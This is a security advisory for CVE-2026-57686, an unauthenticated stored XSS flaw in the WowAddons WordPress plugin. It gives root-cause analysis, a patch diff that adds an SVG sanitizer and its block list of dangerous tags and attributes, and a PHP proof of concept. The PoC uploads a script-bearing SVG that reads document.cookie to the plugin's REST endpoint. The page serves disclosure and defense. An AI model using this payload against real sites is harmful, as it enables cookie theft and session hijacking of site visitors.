Published : July 21, 2026

CVE-2026-57686: Product Addons and Product Options With Custom Fields – WowAddons <= 1.6.14 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.6.14
Patched Version 1.6.15
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57686:

This vulnerability is an unauthenticated stored cross-site scripting (XSS) vulnerability in the Product Addons and Product Options With Custom Fields – WowAddons plugin for WordPress. The vulnerability exists in versions up to and including 1.6.14 and allows unauthenticated attackers to inject arbitrary web scripts that execute when a user accesses an injected page. The CVSS score is 7.2 (High).

The root cause is insufficient input sanitization and output escaping in the file upload functionality. The affected component is the REST API endpoint handled by `class-request-api.php`, specifically the `prad_handle_upload_field_mimes()` method and the file upload handler. The vulnerable code path processes uploaded files without adequately sanitizing SVG content for malicious JavaScript. The code diff shows the patch adds a comprehensive SVG sanitization method `prad_sanitize_svg_file()` in `product-addons/includes/restapi/class-request-api.php` around line 1720, as well as a rate limiter and `.htaccess` security measures for uploaded SVGs. The original code lacked any SVG-specific validation, allowing attackers to upload SVG files containing embedded script tags, event handlers, or javascript: URIs.

Exploitation requires an unauthenticated attacker to upload a crafted SVG file through the plugin’s file upload REST API endpoint. The attacker would send a POST request to `/wp-json/product-addons/v1/upload-file` (or similar REST route) with a multipart form containing a malicious SVG file. The SVG payload would contain embedded JavaScript, such as `alert(document.cookie)` or event handlers like “. Since the plugin does not escape or sanitize the SVG content before serving it, the script executes in the context of any user who views a page containing the uploaded SVG.

The patch introduces three key security measures: (1) a new `prad_sanitize_svg_file()` method in `class-request-api.php` that parses SVG XML and removes dangerous elements (script, foreignObject, iframe, etc.), event handlers (on* attributes), javascript:/vbscript: URIs, and inline CSS expressions; (2) a rate limiter `prad_check_upload_rate_limit()` to prevent abuse by limiting uploads to 20 per hour per IP; and (3) a `.htaccess` file generator `prad_ensure_upload_dir_security()` that forces SVGs to download instead of rendering inline, and sets Content-Security-Policy and X-Content-Type-Options headers. The patch also modifies the allowed file types function to accept an optional `$extras` parameter for more granular MIME type handling.

If exploited, an attacker can inject arbitrary JavaScript into the site. This leads to session hijacking, cookie theft, defacement, redirection to malicious sites, or performing actions as the victim user. Since the vulnerability requires no authentication, any unauthenticated attacker can target any site running the vulnerable plugin. Stored XSS persists in the database until the malicious file is deleted or the site is cleaned, affecting all visitors to the compromised page.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/product-addons/assets/js/wowaddons.asset.php
+++ b/product-addons/assets/js/wowaddons.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-keycodes', 'wp-primitives', 'wp-private-apis', 'wp-warning'), 'version' => 'd93c0e922a91197affda');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-keycodes', 'wp-primitives', 'wp-private-apis', 'wp-warning'), 'version' => 'e70b3c7276d7bf3db6e8');
--- a/product-addons/includes/common/class-functions.php
+++ b/product-addons/includes/common/class-functions.php
@@ -1108,12 +1108,12 @@
 		$from_dir = $upload_dir['basedir'] . '/prad_option_files/' . $_from;
 		$to_dir   = $upload_dir['basedir'] . '/prad_option_files/' . $_to;

-		// ✅ Make sure destination folder exists
+		// Make sure destination folder exists
 		if ( ! file_exists( $to_dir ) ) {
 			wp_mkdir_p( $to_dir );
 		}

-		// ✅ Make sure temp folder exists
+		// Make sure temp folder exists
 		if ( ! file_exists( $from_dir ) ) {
 			wp_mkdir_p( $from_dir );
 		}
@@ -1195,7 +1195,7 @@
 	 *
 	 * @return array List of allowed file types for uploads.
 	 */
-	public function prad_get_upload_allowed_file_types() {
+	public function prad_get_upload_allowed_file_types( $extras = array() ) {

 		$allowed_types = array(
 			'png'  => 'image/png',
@@ -1215,6 +1215,10 @@
 			'gpx'  => 'text/xml',
 		);

+		if ( ! empty( $extras ) && is_array( $extras ) ) {
+			$allowed_types = array_merge( $allowed_types, $extras );
+		}
+
 		return apply_filters( 'prad_upload_field_allowed_file_types', $allowed_types );
 	}

--- a/product-addons/includes/restapi/class-request-api.php
+++ b/product-addons/includes/restapi/class-request-api.php
@@ -21,6 +21,9 @@
  */
 class RequestApi {

+
+	private $extra_upload_field_mimes = array();
+
 	/**
 	 * Initialize the RequestAPI class
 	 *
@@ -1551,7 +1554,7 @@
 	 * @return array
 	 */
 	public function prad_handle_upload_field_mimes( $mimes ) {
-		$prad_mimes = product_addons()->prad_get_upload_allowed_file_types();
+		$prad_mimes = product_addons()->prad_get_upload_allowed_file_types( $this->extra_upload_field_mimes );

 		return array_merge( $mimes, $prad_mimes );
 	}
@@ -1585,8 +1588,22 @@
 				__( 'File size exceeds the maximum allowed limit (25MB).', 'product-addons' )
 			);
 		}
+		if ( 'cdr' === strtolower( pathinfo( $file['name'], PATHINFO_EXTENSION ) ) ) {
+			$finfo = finfo_open( FILEINFO_MIME_TYPE );
+			$mime  = finfo_file( $finfo, $file['tmp_name'] );
+			finfo_close( $finfo );
+
+			if ( 'application/x-vnd.corel.zcf.draw.document+zip' === $mime ) {
+				$this->extra_upload_field_mimes = array(
+					'cdr' => 'application/x-vnd.corel.zcf.draw.document+zip',
+				);
+			}
+		}
+
+		add_filter( 'upload_mimes', array( $this, 'prad_handle_upload_field_mimes' ) );

-		$allowed_types = product_addons()->prad_get_upload_allowed_file_types();
+		$allowed_types = product_addons()->prad_get_upload_allowed_file_types($this->extra_upload_field_mimes);
+
 		$filetype      = wp_check_filetype_and_ext(
 			$file['tmp_name'],
 			$file['name'],
@@ -1624,11 +1641,20 @@
 			);
 		}

-		add_filter( 'upload_mimes', array( $this, 'prad_handle_upload_field_mimes' ) );
+		if ( ! $this->prad_check_upload_rate_limit() ) {
+			return new WP_REST_Response(
+				array(
+					'success' => false,
+					'message' => __( 'Upload limit exceeded. Please try again later.', 'product-addons' ),
+				),
+				429
+			);
+		}

 		$file = $this->get_uploaded_file();

 		if ( is_wp_error( $file ) ) {
+			remove_filter( 'upload_mimes', array( $this, 'prad_handle_upload_field_mimes' ) );
 			return new WP_REST_Response(
 				array(
 					'success' => false,
@@ -1642,7 +1668,21 @@
 			require_once ABSPATH . 'wp-admin/includes/file.php';
 		}

-		// ✅ Add required filters ONLY for this upload
+		// Validate and sanitize SVG content on the temp file before uploading.
+		$filetype = wp_check_filetype( $file['name'] );
+		if ( 'image/svg+xml' === $filetype['type'] ) {
+			if ( ! $this->prad_sanitize_svg_file( $file['tmp_name'] ) ) {
+				remove_filter( 'upload_mimes', array( $this, 'prad_handle_upload_field_mimes' ) );
+				return new WP_REST_Response(
+					array(
+						'success' => false,
+						'message' => __( 'SVG file could not be processed. Please check the file and try again.', 'product-addons' ),
+					),
+					400
+				);
+			}
+		}
+
 		add_filter( 'upload_dir', array( $this, 'prad_handle_upload_dir' ) );

 		$uploaded = wp_handle_upload(
@@ -1652,7 +1692,6 @@
 			)
 		);

-		// ✅ Remove filters immediately
 		remove_filter( 'upload_dir', array( $this, 'prad_handle_upload_dir' ) );
 		remove_filter( 'upload_mimes', array( $this, 'prad_handle_upload_field_mimes' ) );

@@ -1666,6 +1705,8 @@
 			);
 		}

+		$this->prad_ensure_upload_dir_security( dirname( $uploaded['file'] ) );
+
 		return new WP_REST_Response(
 			array(
 				'success' => true,
@@ -1678,6 +1719,265 @@
 	}

 	/**
+	 * Enforce a per-IP upload rate limit using a fixed hourly window.
+	 *
+	 * @return bool True if the request is within the allowed limit, false otherwise.
+	 */
+	private function prad_check_upload_rate_limit() {
+		$ip   = isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : 'unknown'; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput
+		$hour = gmdate( 'YmdH' );
+		$key  = 'prad_upload_' . md5( $ip . $hour );
+
+		$count = (int) get_transient( $key );
+		if ( $count >= 20 ) {
+			return false;
+		}
+
+		set_transient( $key, $count + 1, HOUR_IN_SECONDS );
+		return true;
+	}
+
+	/**
+	 * Sanitize an uploaded SVG file in-place, removing all executable content.
+	 *
+	 * Parses the SVG as XML, strips dangerous elements (script, foreignObject, …),
+	 * event-handler attributes (on*), javascript:/vbscript: URIs, and inline CSS
+	 * expressions, then writes the cleaned document back to disk.
+	 *
+	 * @param string $file_path Absolute path to the uploaded SVG file.
+	 * @return bool True on success, false if the file could not be parsed or written.
+	 */
+	private function prad_sanitize_svg_file( $file_path ) {
+		$content = @file_get_contents( $file_path ); // phpcs:ignore WordPress.WP.AlternativeFunctions
+
+		if ( false === $content ) {
+			return false;
+		}
+
+		$dom                     = new DOMDocument();
+		$dom->formatOutput       = false;
+		$dom->preserveWhiteSpace = true;
+
+		// Prevent XXE on PHP < 8.0 (libxml 2.9+ disables external entities by default).
+		$prev_loader = null;
+
+		if ( version_compare( PHP_VERSION, '8.0.0', '<' ) && function_exists( 'libxml_disable_entity_loader' ) ) {
+			$prev_loader = libxml_disable_entity_loader( true ); // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions
+		}
+
+		$loaded = @$dom->loadXML( $content, 2048 | 32 | 64 ); // LIBXML_NONET | LIBXML_NOERROR | LIBXML_NOWARNING
+
+		if ( null !== $prev_loader && function_exists( 'libxml_disable_entity_loader' ) ) {
+			libxml_disable_entity_loader( $prev_loader ); // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions
+		}
+
+		if ( ! $loaded ) {
+			@unlink( $file_path ); // phpcs:ignore WordPress.WP.AlternativeFunctions
+			return false;
+		}
+
+		// Reject files that are not SVGs.
+		$root = $dom->documentElement;
+		if ( ! $root || 'svg' !== strtolower( $root->localName ) ) {
+			@unlink( $file_path ); // phpcs:ignore WordPress.WP.AlternativeFunctions
+			return false;
+		}
+
+		// Remove elements that can embed or execute code.
+		$blocked_tags = array(
+			'script',
+			'foreignObject',
+			'foreignobject',
+			'iframe',
+			'object',
+			'embed',
+			'video',
+			'audio',
+			'frame',
+			'frameset',
+			'applet',
+		);
+
+		foreach ( $blocked_tags as $tag ) {
+			$nodes = $dom->getElementsByTagName( $tag );
+
+			for ( $i = $nodes->length - 1; $i >= 0; $i-- ) {
+				$node = $nodes->item( $i );
+
+				if ( $node && $node->parentNode ) {
+					$node->parentNode->removeChild( $node );
+				}
+			}
+		}
+
+		// Remove processing instructions (e.g. xml-stylesheet declarations).
+		$xpath = new DOMXPath( $dom );
+		$pis   = $xpath->query( '//processing-instruction()' );
+
+		if ( $pis ) {
+			for ( $i = $pis->length - 1; $i >= 0; $i-- ) {
+				$pi = $pis->item( $i );
+
+				if ( $pi && $pi->parentNode ) {
+					$pi->parentNode->removeChild( $pi );
+				}
+			}
+		}
+
+		// URL-bearing attributes that may carry javascript: or external URLs.
+		$url_attrs = array(
+			'href',
+			'xlink:href',
+			'src',
+			'action',
+			'formaction',
+			'data',
+			'poster',
+			'dynsrc',
+			'lowsrc',
+		);
+
+		$all_nodes = $dom->getElementsByTagName( '*' );
+
+		for ( $i = 0; $i < $all_nodes->length; $i++ ) {
+			$el = $all_nodes->item( $i );
+
+			if ( ! ( $el instanceof DOMElement ) ) {
+				continue;
+			}
+
+			$tag_name     = strtolower( $el->localName );
+			$remove_attrs = array();
+			$attributes   = array();
+
+			foreach ( $el->attributes as $attr ) {
+				$attributes[] = $attr;
+			}
+
+			foreach ( $attributes as $attr ) {
+				$attr_name  = strtolower( $attr->name );
+				$attr_value = $attr->value;
+
+				// Remove all event-handler attributes (onclick, onload, onerror, etc.).
+				if ( 0 === strpos( $attr_name, 'on' ) ) {
+					$remove_attrs[] = $attr->name;
+					continue;
+				}
+
+				if ( in_array( $attr_name, $url_attrs, true ) ) {
+					// Collapse whitespace to catch tab/newline encoded variants.
+					$normalized = strtolower(
+						preg_replace( '/[x00-x20]+/', '', $attr_value )
+					);
+
+					if ( preg_match( '/^(javascript|vbscript|data):/i', $normalized ) ) {
+						$remove_attrs[] = $attr->name;
+						continue;
+					}
+
+					// <use> elements must only reference same-document fragments (#id).
+					if ( 'use' === $tag_name && '#' !== substr( ltrim( $attr_value ), 0, 1 ) ) {
+						$remove_attrs[] = $attr->name;
+						continue;
+					}
+				}
+
+				// Remove style attributes containing javascript: or CSS expression().
+				if ( 'style' === $attr_name ) {
+					$clean = preg_replace( '//*.*?*//s', '', $attr_value );
+
+					if (
+						preg_match( '/javascript:/i', $clean ) ||
+						preg_match( '/expressions*(/i', $clean )
+					) {
+						$remove_attrs[] = $attr->name;
+						continue;
+					}
+				}
+
+				// xml:base can redirect relative references to an attacker-controlled URL.
+				if ( 'xml:base' === $attr_name ) {
+					$remove_attrs[] = $attr->name;
+				}
+			}
+
+			foreach ( $remove_attrs as $raw_name ) {
+				if ( false !== strpos( $raw_name, ':' ) ) {
+					$parts  = explode( ':', $raw_name, 2 );
+					$ns_uri = $el->lookupNamespaceURI( $parts[0] );
+
+					if ( $ns_uri ) {
+						$el->removeAttributeNS( $ns_uri, $parts[1] );
+					}
+				}
+
+				$el->removeAttribute( $raw_name );
+			}
+		}
+
+		// Strip dangerous constructs from inline <style> blocks.
+		$style_nodes = $dom->getElementsByTagName( 'style' );
+
+		for ( $i = 0; $i < $style_nodes->length; $i++ ) {
+			$style_node = $style_nodes->item( $i );
+
+			if ( ! $style_node ) {
+				continue;
+			}
+
+			$css = $style_node->textContent;
+
+			$css = preg_replace( '/@importb[^;]*;?/i', '', $css );
+			$css = preg_replace( '/urls*(s*["']?s*javascript:[^)]*)/i', 'url()', $css );
+			$css = preg_replace( '/expressions*([^)]*)/i', 'none', $css );
+			$css = preg_replace( '/bbehaviors*:[^;]+;?/i', '', $css );
+
+			while ( $style_node->firstChild ) {
+				$style_node->removeChild( $style_node->firstChild );
+			}
+
+			$style_node->appendChild( $dom->createTextNode( $css ) );
+		}
+
+		$sanitized = $dom->saveXML( $dom->documentElement );
+
+		if ( false === $sanitized ) {
+			@unlink( $file_path ); // phpcs:ignore WordPress.WP.AlternativeFunctions
+			return false;
+		}
+
+		$result = file_put_contents( $file_path, $sanitized ); // phpcs:ignore WordPress.WP.AlternativeFunctions
+
+		return false !== $result;
+	}
+
+	/**
+	 * Write a .htaccess to the upload directory that forces SVGs to download
+	 * rather than render inline, preventing stored XSS via SVG files.
+	 *
+	 * Only creates the file if it does not already exist; safe to call on every upload.
+	 *
+	 * @param string $dir_path Absolute filesystem path to the upload directory.
+	 */
+	private function prad_ensure_upload_dir_security( $dir_path ) {
+		$htaccess = trailingslashit( $dir_path ) . '.htaccess';
+		if ( file_exists( $htaccess ) ) {
+			return;
+		}
+
+		$rules  = "<IfModule mod_headers.c>n";
+		$rules .= "  <FilesMatch "\.svgz?$">n";
+		$rules .= "    Header set Content-Disposition "attachment"n";
+		$rules .= "    Header set X-Content-Type-Options "nosniff"n";
+		$rules .= "    Header set Content-Security-Policy "default-src 'none'"n";
+		$rules .= "  </FilesMatch>n";
+		$rules .= "  Header set X-Content-Type-Options "nosniff"n";
+		$rules .= "</IfModule>n";
+
+		file_put_contents( $htaccess, $rules ); // phpcs:ignore WordPress.WP.AlternativeFunctions
+	}
+
+	/**
 	 * Customize the upload directory path for PRAD files.
 	 *
 	 * @param array $upload The existing upload directory data.
--- a/product-addons/product-addons.php
+++ b/product-addons/product-addons.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Product Addons and Product Options With Custom Fields – WowAddons
  * Description: The ultimate WooCommerce product addons plugin to add extra product options, including, swatches, image uploads, text area, and more!
- * Version:     1.6.14
+ * Version:     1.6.15
  * Author:      WPXPO
  * Author URI:  https://www.wpxpo.com/about
  * Text Domain: product-addons
@@ -22,7 +22,7 @@
 defined( 'ABSPATH' ) || exit;

 // Define Vars.
-define( 'PRAD_VER', '1.6.14' );
+define( 'PRAD_VER', '1.6.15' );
 define( 'PRAD_URL', plugin_dir_url( __FILE__ ) );
 define( 'PRAD_BASE', plugin_basename( __FILE__ ) );
 define( 'PRAD_PATH', plugin_dir_path( __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57686 - Product Addons and Product Options With Custom Fields – WowAddons <= 1.6.14 Unauthenticated Stored Cross-Site Scripting

/**
 * Proof of Concept for CVE-2026-57686
 * 
 * This script demonstrates an unauthenticated SVG upload with embedded XSS payload.
 * The attacker crafts an SVG file containing JavaScript that executes when a user views the uploaded file.
 * 
 * Usage: php poc.php [target_url]
 * Example: php poc.php https://example.com
 */

$target_url = $argv[1] ?? 'http://localhost/wordpress';

// The REST API endpoint for file uploads (adjust if different)
$rest_endpoint = '/wp-json/product-addons/v1/upload-file';

// Create a malicious SVG payload
$svg_payload = '<?xml version="1.0" encoding="UTF-8"?>' . "n";
$svg_payload .= '<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100">' . "n";
$svg_payload .= '  <script type="text/javascript">' . "n";
$svg_payload .= '    alert("XSS by Atomic Edge: " + document.cookie);' . "n";
$svg_payload .= '  </script>' . "n";
$svg_payload .= '  <circle cx="50" cy="50" r="40" fill="red" />' . "n";
$svg_payload .= '</svg>';

// Save the SVG payload to a temporary file
$tmpfile = tempnam(sys_get_temp_dir(), 'poc_svg_');
file_put_contents($tmpfile, $svg_payload);

// Prepare the multipart form data with the SVG file
$post_data = [
    'file' => new CURLFile($tmpfile, 'image/svg+xml', 'exploit.svg'),
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $rest_endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: multipart/form-data',
    'X-Requested-With: XMLHttpRequest',
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo '[!] cURL error: ' . curl_error($ch) . PHP_EOL;
} else {
    echo '[*] HTTP Response Code: ' . $http_code . PHP_EOL;
    echo '[*] Response Body:' . PHP_EOL;
    echo $response . PHP_EOL;
}

curl_close($ch);

// Clean up temporary file
unlink($tmpfile);

echo PHP_EOL;
echo '[*] If successful, an SVG with XSS payload was uploaded.' . PHP_EOL;
echo '[*] The script triggers when a user visits the page containing the uploaded SVG.' . PHP_EOL;

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School